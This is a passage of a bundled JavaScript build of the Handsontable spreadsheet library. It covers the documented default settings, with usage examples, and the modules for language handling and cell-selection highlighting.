* * See more [in the demo](https://docs.handsontable.com/demo-data-validation.html). * * @type {Function|RegExp|String} * @default undefined * * @example * ```js * columns: [ * { * // as a function * validator: function(value, callback) { * ... * } * }, * { * // regular expression * validator: /^[0-9]$/ * }, * { * // as a string * validator: 'numeric' * } * ], * ``` */ validator: void 0, /** * @description * Disables visual cells selection. * * Possible values: * * `true` - Disables any type of visual selection (current and area selection), * * `false` - Enables any type of visual selection. This is default value. * * `'current'` - Disables the selection of a currently selected cell, the area selection is still present. * * `'area'` - Disables the area selection, the currently selected cell selection is still present. * * `'header'` - Disables the headers selection, the currently selected cell selection is still present. * * @type {Boolean|String|String[]} * @default false * * @example * ```js * // as a boolean * disableVisualSelection: true, * * // as a string ('current', 'area' or 'header') * disableVisualSelection: 'current', * * // as an array * disableVisualSelection: ['current', 'area'], * ``` */ disableVisualSelection: false, /** * Disables or enables {@link ManualColumnFreeze} plugin. * * @type {Boolean} * @default undefined * * @example * ```js * // enable fixed columns * manualColumnFreeze: true, * ``` */ manualColumnFreeze: void 0, /** * Defines whether Handsontable should trim the whitespace at the beginning and the end of the cell contents. * * @type {Boolean} * @default true * * @example * ```js * columns: [ * { * // don't remove whitespace * trimWhitespace: false * } * ] * ``` */ trimWhitespace: true, /** * Defines data source for Autocomplete or Dropdown cell types. * * @type {Array|Function} * @default undefined * * @example * ```js * // source as a array * columns: [{ * type: 'autocomplete', * source: ['A', 'B', 'C', 'D'] * }], * * // source as a function * columns: [{ * type: 'autocomplete', * source: function(query, callback) { * fetch('https://example.com/query?q=' + query, function(response) { * callback(response.items); * }) * } * }], * ``` */ source: void 0, /** * @description * Defines the column header name. * * @type {String} * @default undefined * * @example * ```js * // set header names for every column * columns: [ * { * title: 'First name', * type: 'text', * }, * { * title: 'Last name', * type: 'text', * } * ], * ``` */ title: void 0, /** * Data template for `'checkbox'` type when checkbox is checked. * * @type {Boolean|String|Number} * @default true * * @example * ```js * checkedTemplate: 'good' * * // if a checkbox-typed cell is checked, then getDataAtCell(x, y), * // where x and y are the coordinates of the cell will return 'good'. * ``` */ checkedTemplate: void 0, /** * Data template for `'checkbox'` type when checkbox is unchecked. * * @type {Boolean|String|Number} * @default false * * @example * ```js * uncheckedTemplate: 'bad' * * // if a checkbox-typed cell is not checked, then getDataAtCell(x,y), * // where x and y are the coordinates of the cell will return 'bad'. * ``` */ uncheckedTemplate: void 0, /** * @description * Object which describes if renderer should create checkbox element with label element as a parent. * * __Note__, this option only works for [checkbox-typed](https://docs.handsontable.com/demo-checkbox.html) cells. * * By default the [checkbox](https://docs.handsontable.com/demo-checkbox.html) renderer renders the checkbox without a label. * * Possible object properties: * * `property` - Defines the property name of the data object, which will to be used as a label. * (eg. `label: {property: 'name.last'}`). This option works only if data was passed as an array of objects. * * `position` - String which describes where to place the label text (before or after checkbox element). * Valid values are `'before'` and '`after`' (defaults to `'after'`). * * `value` - String or a Function which will be used as label text. * * @type {Object} * @default undefined * * @example * ```js * columns: [{ * type: 'checkbox', * // add "My label:" after the checkbox * label: {position: 'after', value: 'My label: '} * }], * ``` */ label: void 0, /** * Display format for numeric typed renderers. * * __Note__, this option only works for [numeric-typed](https://docs.handsontable.com/demo-numeric.html) cells. * * Format is described by two properties: * * `pattern` - Handled by `numbro` for purpose of formatting numbers to desired pattern. List of supported patterns can be found [here](http://numbrojs.com/format.html#numbers). * * `culture` - Handled by `numbro` for purpose of formatting currencies. Examples showing how it works can be found [here](http://numbrojs.com/format.html#currency). List of supported cultures can be found [here](http://numbrojs.com/languages.html#supported-languages). * * __Note:__ Please keep in mind that this option is used only to format the displayed output! It has no effect on the input data provided for the cell. The numeric data can be entered to the table only as floats (separated by a dot or a comma) or integers, and are stored in the source dataset as JavaScript numbers. * * Handsontable uses [numbro](http://numbrojs.com/) as a main library for numbers formatting. * * @since 0.35.0 * @type {Object} * @default undefined * * @example * ```js * columns: [ * { * type: 'numeric', * // set desired format pattern and * numericFormat: { * pattern: '0,00', * culture: 'en-US' * } * } * ], * ``` */ numericFormat: void 0, /** * Language for Handsontable translation. Possible language codes are [listed here](https://docs.handsontable.com/tutorial-internationalization.html#available-languages). * * @type {String} * @default 'en-US' * * @example * ```js * // set Polish language * language: 'pl-PL', * ``` */ language: 'en-US', /** * Data source for [select-typed](https://docs.handsontable.com/demo-select.html) cells. * * __Note__, this option only works for [select-typed](https://docs.handsontable.com/demo-select.html) cells. * * @type {String[]} * @default undefined * * @example * ```js * columns: [ * { * editor: 'select', * // add three select options to choose from * selectOptions: ['A', 'B', 'C'], * } * ], * ``` */ selectOptions: void 0, /** * Enables or disables the {@link AutoColumnSize} plugin. Default value is `undefined`, which has the same effect as `true`. * Disabling this plugin can increase performance, as no size-related calculations would be done. * * Column width calculations are divided into sync and async part. Each of those parts has their own advantages and * disadvantages. Synchronous calculations are faster but they block the browser UI, while the slower asynchronous * operations don't block the browser UI. * * To configure the sync/async distribution, you can pass an absolute value (number of columns) or a percentage value. * * You can also use the `useHeaders` option to take the column headers width into calculation. * * @type {Object|Boolean} * @default {syncLimit: 50} * * @example * ```js * // as a number (300 columns in sync, rest async) * autoColumnSize: {syncLimit: 300}, * * // as a string (percent) * autoColumnSize: {syncLimit: '40%'}, * * // use headers width while calculating the column width * autoColumnSize: {useHeaders: true}, * ``` */ autoColumnSize: void 0, /** * Enables or disables {@link AutoRowSize} plugin. Default value is `undefined`, which has the same effect as `false` * (disabled). Enabling this plugin can decrease performance, as size-related calculations would be performed. * * Row height calculations are divided into sync and async stages. Each of these stages has their own advantages and * disadvantages. Synchronous calculations are faster but they block the browser UI, while the slower asynchronous * operations don't block the browser UI. * * To configure the sync/async distribution, you can pass an absolute value (number of columns) or a percentage value. * * @type {Object|Boolean} * @default {syncLimit: 500} * * @example * ```js * // as a number (300 columns in sync, rest async) * autoRowSize: {syncLimit: 300}, * * // as a string (percent) * autoRowSize: {syncLimit: '40%'}, * ``` */ autoRowSize: void 0, /** * Date validation format. * * __Note__, this option only works for [date-typed](https://docs.handsontable.com/demo-date.html) cells. * * @type {String} * @default 'DD/MM/YYYY' * * @example * ```js * columns: [{ * type: 'date', * // localise date format * dateFormat: 'MM/DD/YYYY' * }], * ``` */ dateFormat: 'DD/MM/YYYY', /** * If `true` then dates will be automatically formatted to match the desired format. * * __Note__, this option only works for [date-typed](https://docs.handsontable.com/demo-date.html) cells. * * @type {Boolean} * @default false * * @example * ```js * columns: [{ * type: 'date', * dateFormat: 'YYYY-MM-DD', * // force selected date format * correctFormat: true * }], * ``` */ correctFormat: false, /** * Definition of default value which will fill the empty cells. * * __Note__, this option only works for [date-typed](https://docs.handsontable.com/demo-date.html) cells. * * @type {String} * @default undefined * * @example * ```js * columns: [ * { * type: 'date', * // always set this date for empty cells * defaultDate: '2015-02-02' * } * ], * ``` */ defaultDate: void 0, /** * If set to `true`, the value entered into the cell must match (case-sensitive) the autocomplete source. * Otherwise, cell won't pass the validation. When filtering the autocomplete source list, the editor will * be working in case-insensitive mode. * * __Note__, this option only works for [autocomplete-typed](https://docs.handsontable.com/demo-autocomplete.html) cells. * * @type {Boolean} * @default undefined * * @example * ```js * columns: [{ * type: 'autocomplete', * source: ['A', 'B', 'C'], * // force selected value to match the source list * strict: true * }], * ``` */ strict: void 0, /** * If set to `true`, data defined in `source` of the autocomplete or dropdown cell will be treated as HTML. * * __Warning:__ Enabling this option can cause serious XSS vulnerabilities. * * __Note__, this option only works for [autocomplete-typed](https://docs.handsontable.com/demo-autocomplete.html) cells. * * @type {Boolean} * @default false * * @example * ```js * columns: [{ * type: 'autocomplete', * // use HTML in the source list * allowHtml: true, * source: ['foo', 'bar'] * }], * ``` */ allowHtml: false, /** * If typed `true` then virtual rendering mechanism for handsontable will be disabled. * * @type {Boolean} * @default undefined * * @example * ```js * // disable virtual rows rendering * renderAllRows: true, * ``` */ renderAllRows: void 0, /** * Prevents table to overlap outside the parent element. If `'horizontal'` option is chosen then table will show * a horizontal scrollbar if parent's width is narrower then table's width. * * Possible values: * * `false` - Disables functionality. * * `horizontal` - Prevents horizontal overflow table. * * `vertical` - Prevents vertical overflow table. * * @type {String|Boolean} * @default false * * @example * ```js * preventOverflow: 'horizontal', * ``` */ preventOverflow: false, /** * @description * Enables the functionality of the {@link BindRowsWithHeaders} plugin which allows binding the table rows with their headers. * If the plugin is enabled, the table row headers will "stick" to the rows, when they are hidden/moved. Basically, * if at the initialization row 0 has a header titled "A", it will have it no matter what you do with the table. * * @pro * @type {Boolean|String} * @default undefined * * @example * ```js * // keep row data and row headers in sync * bindRowsWithHeaders: true * ``` */ bindRowsWithHeaders: void 0, /** * @description * The {@link CollapsibleColumns} plugin allows collapsing of columns, covered by a header with the `colspan` property * defined. * * Clicking the "collapse/expand" button collapses (or expands) all "child" headers except the first one. * * Setting the `collapsibleColumns` property to `true` will display a "collapse/expand" button in every * header with a defined colspan` property. * * To limit this functionality to a smaller group of headers, define the `collapsibleColumns` property * as an array of objects, as in the example below. * * @pro * @type {Boolean|Object[]} * @default undefined * * @example * ```js * // enable collapsing for all headers * collapsibleColumns: true, * * // or * // enable collapsing for selected headers * collapsibleColumns: [ * {row: -4, col: 1, collapsible: true}, * {row: -3, col: 5, collapsible: true} * ], * ``` */ collapsibleColumns: void 0, /** * @description * Allows making pre-defined calculations on the cell values and display the results within Handsontable. * * Possible types: * * `'sum'` * * `'min'` * * `'max'` * * `'count'` * * `'average'` * * `'custom'` - add `customFunction` * * [See the demo for more information](https://docs.handsontable.com/pro/demo-summary-calculations.html). * * @pro * @type {Object[]|Function} * @default undefined * * @example * ``` * columnSummary: [ * { * destinationRow: 4, * destinationColumn: 1, * forceNumeric: true, * reversedRowCoords: true, * suppressDataTypeErrors: false, * readOnly: true, * roundFloat: false, * type: 'custom', * customFunction: function(endpoint) { * return 100; * } * } * ], * ``` */ columnSummary: void 0, /** * This plugin allows adding a configurable dropdown menu to the table's column headers. The dropdown menu acts like * the {@link Options#contextMenu}, but is triggered by clicking the button in the header. * * @pro * @type {Boolean|Object|String[]} * @default undefined * * @example * ```js * // enable dropdown menu * dropdownMenu: true, * * // or * // enable and configure dropdown menu options * dropdownMenu: ['remove_col', '---------', 'make_read_only', 'alignment'] * ``` */ dropdownMenu: void 0, /** * The {@link Filters} plugin allows filtering the table data either by the built-in component or with the API. * * @pro * @type {Boolean} * @default undefined * * @example * ```js * // enable filters * filters: true, * ``` */ filters: void 0, /** * The {@link Formulas} plugin allows Handsontable to process formula expressions defined in the provided data. * * @pro * @type {Boolean|Object} * @default undefined * * @example * ```js * // enable formulas plugin * formulas: true, * * // or as an object with custom variables to be used in formula expressions * formulas: { * variables: { * FOO: 64, * BAR: 'baz', * } * }, * ``` */ formulas: void 0, /** * @description * The {@link GanttChart} plugin enables a possibility to create a Gantt chart using a Handsontable instance. In this * case, the whole table becomes read-only. * * @pro * @type {Object} * @default undefined */ ganttChart: void 0, /** * @description * Allows adding a tooltip to the table headers. * * Available options: * * the `rows` property defines if tooltips should be added to row headers, * * the `columns` property defines if tooltips should be added to column headers, * * the `onlyTrimmed` property defines if tooltips should be added only to headers, which content is trimmed by the header itself (the content being wider then the header). * * @pro * @type {Boolean|Object} * @default undefined * * @example * ```js * // enable tooltips for all headers * headerTooltips: true, * * // or * headerTooltips: { * rows: false, * columns: true, * onlyTrimmed: true * } * ``` */ headerTooltips: void 0, /** * The {@link HiddenColumns} plugin allows hiding of certain columns. You can pass additional configuration with an * object notation. Options that are then available are: * * `columns` - an array of rows that should be hidden on plugin initialization * * `indicators` - enables small ui markers to indicate where are hidden columns * * @pro * @type {Boolean|Object} * @default undefined * * @example * ```js * // enable column hiding * hiddenColumns: true, * * // or * hiddenColumns: { * // set columns that are hidden by default * columns: [5, 10, 15], * // show where are hidden columns * indicators: true * } * ``` */ hiddenColumns: void 0, /** * The {@link HiddenRows} plugin allows hiding of certain rows. You can pass additional configuration with an * object notation. Options that are then available are: * * `rows` - an array of rows that should be hidden on plugin initialization * * `indicators` - enables small ui markers to indicate where are hidden columns * * @pro * @type {Boolean|Object} * @default undefined * * @example * ```js * // enable row hiding * hiddenRows: true, * * // or * hiddenRows: { * // set rows that are hidden by default * rows: [5, 10, 15], * // show where are hidden rows * indicators: true * } * ``` */ hiddenRows: void 0, /** * @description * Allows creating a nested header structure, using the HTML's colspan attribute. * * @pro * @type {Array[]} * @default undefined * * @example * ``` * nestedHeaders: [ * ['A', {label: 'B', colspan: 8}, 'C'], * ['D', {label: 'E', colspan: 4}, {label: 'F', colspan: 4}, 'G'], * ['H', 'I', 'J', 'K', 'L', 'M', 'N', 'R', 'S', 'T'] * ], * ``` */ nestedHeaders: void 0, /** * @description * Plugin allowing hiding of certain rows. * * @pro * @type {Boolean|Number[]} * @default undefined * * @example * ```js * // enable plugin * trimRows: true, * * // or * // trim selected rows on table initialization * trimRows: [5, 10, 15], * ``` */ trimRows: void 0, /** * @description * Allows setting a custom width of the row headers. You can provide a number or an array of widths, if many row * header levels are defined. * * @type {Number|Number[]} * @default undefined * * @example * ```js * // set width for all row headers * rowHeaderWidth: 25, * * // or * // set width for selected headers only * rowHeaderWidth: [25, 30, 55], * ``` */ rowHeaderWidth: void 0, /** * @description * Allows setting a custom height of the column headers. You can provide a number or an array of heights, if many * column header levels are defined. * * @type {Number|Number[]} * @default undefined * * @example * ```js * // set shared height for all headers * columnHeaderHeight: 35, * * // or * // set height for each header individually * columnHeaderHeight: [35, 20, 55], * * // or * // skipped headers will fallback to default value * columnHeaderHeight: [35, undefined, 55], * ``` */ columnHeaderHeight: void 0, /** * @description * Enables the {@link ObserveChanges} plugin switches table into one-way data binding where changes are applied into * data source (from outside table) will be automatically reflected in the table. * * For every data change [afterChangesObserved](Hooks.html#event:afterChangesObserved) hook will be fired. * * @type {Boolean} * @default undefined * * @example * ```js * observeChanges: true, * ``` */ observeChanges: void 0, /** * If defined as `true`, the Autocomplete's suggestion list would be sorted by relevance (the closer to the left the * match is, the higher the suggestion). * * __Note__, this option only works for [autocomplete-typed](https://docs.handsontable.com/demo-autocomplete.html) cells. * * @type {Boolean} * @default true * * @example * ```js * columns: [ * { * type: 'autocomplete', * source: [ ... ], * // keep options order as they were defined * sortByRelevance: false * } * ], * ``` */ sortByRelevance: true, /** * If defined as `true`, when the user types into the input area the Autocomplete's suggestion list is updated to only * include those choices starting with what has been typed; if defined as `false` all suggestions remain shown, with * those matching what has been typed marked in bold. * * __Note__, this option only works for [autocomplete-typed](https://docs.handsontable.com/demo-autocomplete.html) cells. * * @type {Boolean} * @default true * * @example * ```js * columns: [ * { * type: 'autocomplete', * source: [ ... ], * // don't hide options that don't match search query * filter: false * } * ], * ``` */ filter: true, /** * If defined as `true`, filtering in the Autocomplete Editor will be case-sensitive. * * __Note__, this option only works for [autocomplete-typed](https://docs.handsontable.com/demo-autocomplete.html) cells. * * @type {Boolean} * @default: false * * @example * ```js * columns: [ * { * type: 'autocomplete', * source: [ ... ], * // match case while searching autocomplete options * filteringCaseSensitive: true * } * ], * ``` */ filteringCaseSensitive: false, /** * @description * Disables or enables the drag to scroll functionality. * * @type {Boolean} * @default true * * @example * ```js * // don't scroll the viewport when selection gets to the viewport edge * dragToScroll: false, * ``` */ dragToScroll: true, /** * @description * Disable or enable the nested rows functionality - displaying nested structures in a two-dimensional data table. * * See [quick setup of the Nested rows](https://docs.handsontable.kbudnik/pro/next/demo-nested-rows.html). * @example * ```js * nestedRows: true, * ``` * * @pro * @type {Boolean} * @default false */ nestedRows: void 0 }; var _default = DefaultSettings; exports.default = _default; /***/ }), /* 427 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.getTranslatedPhrase = getTranslatedPhrase; var _array = __webpack_require__(3); var _dictionariesManager = __webpack_require__(90); var _phraseFormatters = __webpack_require__(651); var _mixed = __webpack_require__(14); /** * Get phrase for specified dictionary key. * * @param {String} languageCode Language code for specific language i.e. 'en-US', 'pt-BR', 'de-DE'. * @param {String} dictionaryKey Constant which is dictionary key. * @param {*} argumentsForFormatters Arguments which will be handled by formatters. * * @returns {String} */ // eslint-disable-next-line import/prefer-default-export function getTranslatedPhrase(languageCode, dictionaryKey, argumentsForFormatters) { var languageDictionary = (0, _dictionariesManager.getLanguageDictionary)(languageCode); if (languageDictionary === null) { return null; } var phrasePropositions = languageDictionary[dictionaryKey]; if ((0, _mixed.isUndefined)(phrasePropositions)) { return null; } var formattedPhrase = getFormattedPhrase(phrasePropositions, argumentsForFormatters); if (Array.isArray(formattedPhrase)) { return formattedPhrase[0]; } return formattedPhrase; } /** * Get formatted phrase from phrases propositions for specified dictionary key. * * @private * @param {Array|string} phrasePropositions List of phrase propositions. * @param {*} argumentsForFormatters Arguments which will be handled by formatters. * * @returns {Array|string} */ function getFormattedPhrase(phrasePropositions, argumentsForFormatters) { var formattedPhrasePropositions = phrasePropositions; (0, _array.arrayEach)((0, _phraseFormatters.getPhraseFormatters)(), function (formatter) { formattedPhrasePropositions = formatter(phrasePropositions, argumentsForFormatters); }); return formattedPhrasePropositions; } /***/ }), /* 428 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.extendNotExistingKeys = extendNotExistingKeys; exports.createCellHeadersRange = createCellHeadersRange; exports.normalizeLanguageCode = normalizeLanguageCode; exports.applyLanguageSetting = applyLanguageSetting; exports.warnUserAboutLanguageRegistration = warnUserAboutLanguageRegistration; var _mixed = __webpack_require__(14); var _object = __webpack_require__(2); var _console = __webpack_require__(76); var _templateLiteralTag = __webpack_require__(58); var _dictionariesManager = __webpack_require__(90); function _templateObject() { var data = _taggedTemplateLiteral(["Language with code \"", "\" was not found. You should register particular language \n before using it. Read more about this issue at: https://docs.handsontable.com/i18n/missing-language-code."]); _templateObject = function _templateObject() { return data; }; return data; } function _taggedTemplateLiteral(strings, raw) { if (!raw) { raw = strings.slice(0); } return Object.freeze(Object.defineProperties(strings, { raw: { value: Object.freeze(raw) } })); } /** * Perform shallow extend of a target object with only this extension's properties which doesn't exist in the target. * * @param {Object} target An object that will receive the new properties. * @param {Object} extension An object containing additional properties to merge into the target. */ // TODO: Maybe it should be moved to global helpers? It's changed `extend` function. function extendNotExistingKeys(target, extension) { (0, _object.objectEach)(extension, function (value, key) { if ((0, _mixed.isUndefined)(target[key])) { target[key] = value; } }); return target; } /** * Create range of values basing on cell indexes. For example, it will create below ranges for specified function arguments: * * createCellHeadersRange(2, 7) => `2-7` * createCellHeadersRange(7, 2) => `2-7` * createCellHeadersRange(0, 4, 'A', 'D') => `A-D` * createCellHeadersRange(4, 0, 'D', 'A') => `A-D` * * @param {number} firstRowIndex Index of "first" cell * @param {number} nextRowIndex Index of "next" cell * @param {*} fromValue Value which will represent "first" cell * @param {*} toValue Value which will represent "next" cell * @returns {String} Value representing range i.e. A-Z, 11-15. */ function createCellHeadersRange(firstRowIndex, nextRowIndex) { var fromValue = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : firstRowIndex; var toValue = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : nextRowIndex; // Will swap `fromValue` with `toValue` if it's necessary. var from = fromValue, to = toValue; if (firstRowIndex > nextRowIndex) { var _ref = [to, from]; from = _ref[0]; to = _ref[1]; } return "".concat(from, "-").concat(to); } /** * Normalize language code. It takes handled languageCode proposition and change it to proper languageCode. * For example, when it takes `eN-us` as parameter it return `en-US` * * @param {String} languageCode Language code for specific language i.e. 'en-US', 'pt-BR', 'de-DE'. * @returns {String} */ function normalizeLanguageCode(languageCode) { var languageCodePattern = /^([a-zA-Z]{2})-([a-zA-Z]{2})$/; var partsOfLanguageCode = languageCodePattern.exec(languageCode); if (partsOfLanguageCode) { return "".concat(partsOfLanguageCode[1].toLowerCase(), "-").concat(partsOfLanguageCode[2].toUpperCase()); } return languageCode; } /** * Set proper start language code. User may set language code which is not proper. * * @param {Object} settings Settings object. * @param {String} languageCode Language code for specific language i.e. 'en-US', 'pt-BR', 'de-DE'. * @returns {String} */ function applyLanguageSetting(settings, languageCode) { var normalizedLanguageCode = normalizeLanguageCode(languageCode); if ((0, _dictionariesManager.hasLanguageDictionary)(normalizedLanguageCode)) { settings.language = normalizedLanguageCode; } else { settings.language = _dictionariesManager.DEFAULT_LANGUAGE_CODE; warnUserAboutLanguageRegistration(languageCode); } } /** * * Warn user if there is no registered language. * * @param {String} languageCode Language code for specific language i.e. 'en-US', 'pt-BR', 'de-DE'. */ function warnUserAboutLanguageRegistration(languageCode) { if ((0, _mixed.isDefined)(languageCode)) { (0, _console.error)((0, _templateLiteralTag.toSingleLine)(_templateObject(), languageCode)); } } /***/ }), /* 429 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; var _highlight = _interopRequireDefault(__webpack_require__(430)); exports.Highlight = _highlight.default; var _selection = _interopRequireDefault(__webpack_require__(660)); exports.Selection = _selection.default; var _mouseEventHandler = __webpack_require__(423); exports.handleMouseEvent = _mouseEventHandler.handleMouseEvent; var _utils = __webpack_require__(91); exports.detectSelectionType = _utils.detectSelectionType; exports.normalizeSelectionFactory = _utils.normalizeSelectionFactory; function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } /***/ }), /* 430 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = exports.CUSTOM_SELECTION = exports.HEADER_TYPE = exports.FILL_TYPE = exports.CELL_TYPE = exports.AREA_TYPE = exports.ACTIVE_HEADER_TYPE = void 0; var _types = __webpack_require__(653); var _array = __webpack_require__(3); function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _nonIterableSpread(); } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance"); } function _iterableToArray(iter) { if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } } function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; var ownKeys = Object.keys(source); if (typeof Object.getOwnPropertySymbols === 'function') { ownKeys = ownKeys.concat(Object.getOwnPropertySymbols(source).filter(function (sym) { return Object.getOwnPropertyDescriptor(source, sym).enumerable; })); } ownKeys.forEach(function (key) { _defineProperty(target, key, source[key]); }); } return target; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var ACTIVE_HEADER_TYPE = 'active-header'; exports.ACTIVE_HEADER_TYPE = ACTIVE_HEADER_TYPE; var AREA_TYPE = 'area'; exports.AREA_TYPE = AREA_TYPE; var CELL_TYPE = 'cell'; exports.CELL_TYPE = CELL_TYPE; var FILL_TYPE = 'fill'; exports.FILL_TYPE = FILL_TYPE; var HEADER_TYPE = 'header'; exports.HEADER_TYPE = HEADER_TYPE; var CUSTOM_SELECTION = 'custom-selection'; /** * Highlight class responsible for managing Walkontable Selection classes. * * With Highlight object you can manipulate four different highlight types: * - `cell` can be added only to a single cell at a time and it defines currently selected cell; * - `fill` can occur only once and its highlight defines selection of autofill functionality (managed by the plugin with the same name); * - `areas` can be added to multiple cells at a time. This type highlights selected cell or multiple cells. * The multiple cells have to be defined as an uninterrupted order (regular shape). Otherwise, the new layer of * that type should be created to manage not-consecutive selection; * - `header` can occur multiple times. This type is designed to highlight only headers. Like `area` type it * can appear with multiple highlights (accessed under different level layers). * * @class Highlight * @util */ exports.CUSTOM_SELECTION = CUSTOM_SELECTION; var Highlight = /*#__PURE__*/ function () { function Highlight(options) { _classCallCheck(this, Highlight); /** * Options consumed by Highlight class and Walkontable Selection classes. * * @type {Object} */ this.options = options; /** * The property which describes which layer level of the visual selection will be modified. * This option is valid only for `area` and `header` highlight types which occurs multiple times on * the table (as a non-consecutive selection). * * An order of the layers is the same as the order of added new non-consecutive selections. * * @type {Number} * @default 0 */ this.layerLevel = 0; /** * `cell` highlight object which describes attributes for the currently selected cell. * It can only occur only once on the table. * * @type {Selection} */ this.cell = (0, _types.createHighlight)(CELL_TYPE, options); /** * `fill` highlight object which describes attributes for the borders for autofill functionality. * It can only occur only once on the table. * * @type {Selection} */ this.fill = (0, _types.createHighlight)(FILL_TYPE, options); /** * Collection of the `area` highlights. That objects describes attributes for the borders and selection of * the multiple selected cells. It can occur multiple times on the table. * * @type {Map.} */ this.areas = new Map(); /** * Collection of the `header` highlights. That objects describes attributes for the selection of * the multiple selected rows and columns in the table header. It can occur multiple times on the table. * * @type {Map.} */ this.headers = new Map(); /** * Collection of the `active-header` highlights. That objects describes attributes for the selection of * the multiple selected rows and columns in the table header. The table headers which have selected all items in * a row will be marked as `active-header`. * * @type {Map.} */ this.activeHeaders = new Map(); /** * Collection of the `custom-selection`, holder for example borders added through CustomBorders plugin. * * @type {Selection[]} */ this.customSelections = []; } /** * Check if highlight cell rendering is disabled for specyfied highlight type. * * @param {String} highlightType Highlight type. Possible values are: `cell`, `area`, `fill` or `header`. * @return {Boolean} */ _createClass(Highlight, [{ key: "isEnabledFor", value: function isEnabledFor(highlightType) { // Legacy compatibility. var type = highlightType === 'current' ? CELL_TYPE : highlightType; var disableHighlight = this.options.disableHighlight; if (typeof disableHighlight === 'string') { disableHighlight = [disableHighlight]; } return disableHighlight === false || Array.isArray(disableHighlight) && !disableHighlight.includes(type); } /** * Set a new layer level to make access to the desire `area` and `header` highlights. * * @param {Number} [level=0] Layer level to use. * @returns {Highlight} */ }, { key: "useLayerLevel", value: function useLayerLevel() { var level = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0; this.layerLevel = level; return this; } /** * Get Walkontable Selection instance created for controlling highlight of the currently selected/edited cell. * * @return {Selection} */ }, { key: "getCell", value: function getCell() { return this.cell; } /** * Get Walkontable Selection instance created for controlling highlight of the autofill functionality. * * @return {Selection} */ }, { key: "getFill", value: function getFill() { return this.fill; } /** * Get or create (if not exist in the cache) Walkontable Selection instance created for controlling highlight * of the multiple selected cells. * * @return {Selection} */ }, { key: "createOrGetArea", value: function createOrGetArea() { var layerLevel = this.layerLevel; var area; if (this.areas.has(layerLevel)) { area = this.areas.get(layerLevel); } else { area = (0, _types.createHighlight)(AREA_TYPE, _objectSpread({ layerLevel: layerLevel }, this.options)); this.areas.set(layerLevel, area); } return area; } /** * Get all Walkontable Selection instances which describes the state of the visual highlight of the cells. * * @return {Selection[]} */ }, { key: "getAreas", value: function getAreas() { return _toConsumableArray(this.areas.values()); } /** * Get or create (if not exist in the cache) Walkontable Selection instance created for controlling highlight * of the multiple selected header cells. * * @return {Selection} */ }, { key: "createOrGetHeader", value: function createOrGetHeader() { var layerLevel = this.layerLevel; var header; if (this.headers.has(layerLevel)) { header = this.headers.get(layerLevel); } else { header = (0, _types.createHighlight)(HEADER_TYPE, _objectSpread({}, this.options)); this.headers.set(layerLevel, header); } return header; } /** * Get all Walkontable Selection instances which describes the state of the visual highlight of the headers. * * @return {Selection[]} */ }, { key: "getHeaders", value: function getHeaders() { return _toConsumableArray(this.headers.values()); } /** * Get or create (if not exist in the cache) Walkontable Selection instance created for controlling highlight * of the multiple selected active header cells. * * @return {Selection} */ }, { key: "createOrGetActiveHeader", value: function createOrGetActiveHeader() { var layerLevel = this.layerLevel; var header; if (this.activeHeaders.has(layerLevel)) { header = this.activeHeaders.get(layerLevel); } else { header = (0, _types.createHighlight)(ACTIVE_HEADER_TYPE, _objectSpread({}, this.options)); this.activeHeaders.set(layerLevel, header); } return header; } /** * Get all Walkontable Selection instances which describes the state of the visual highlight of the active headers. * * @return {Selection[]} */ }, { key: "getActiveHeaders", value: function getActiveHeaders() { return _toConsumableArray(this.activeHeaders.values()); } /** * Get Walkontable Selection instance created for controlling highlight of the custom selection functionality. * * @return {Selection} */ }, { key: "getCustomSelections", value: function getCustomSelections() { return _toConsumableArray(this.customSelections.values()); } /** * Add selection to the custom selection instance. The new selection are added to the end of the selection collection. * * @param {Object} options */ }, { key: "addCustomSelection", value: function addCustomSelection(options) { this.customSelections.push((0, _types.createHighlight)(CUSTOM_SELECTION, _objectSpread({}, options))); } /** * Perform cleaning visual highlights for the whole table. */ }, { key: "clear", value: function clear() { this.cell.clear(); this.fill.clear(); (0, _array.arrayEach)(this.areas.values(), function (highlight) { return void highlight.clear(); }); (0, _array.arrayEach)(this.headers.values(), function (highlight) { return void highlight.clear(); }); (0, _array.arrayEach)(this.activeHeaders.values(), function (highlight) { return void highlight.clear(); }); } /** * This object can be iterate over using `for of` syntax or using internal `arrayEach` helper. */ }, { key: Symbol.iterator, value: function value() { return [this.cell, this.fill].concat(_toConsumableArray(this.areas.values()), _toConsumableArray(this.headers.values()), _toConsumableArray(this.activeHeaders.values()), _toConsumableArray(this.customSelections))[Symbol.iterator](); } }]); return Highlight; }(); var _default = Highlight; exports.default = _default; /***/ }), /* 431 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _object = __webpack_require__(2); var _number = __webpack_require__(9); var _mixed = __webpack_require__(14); function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return 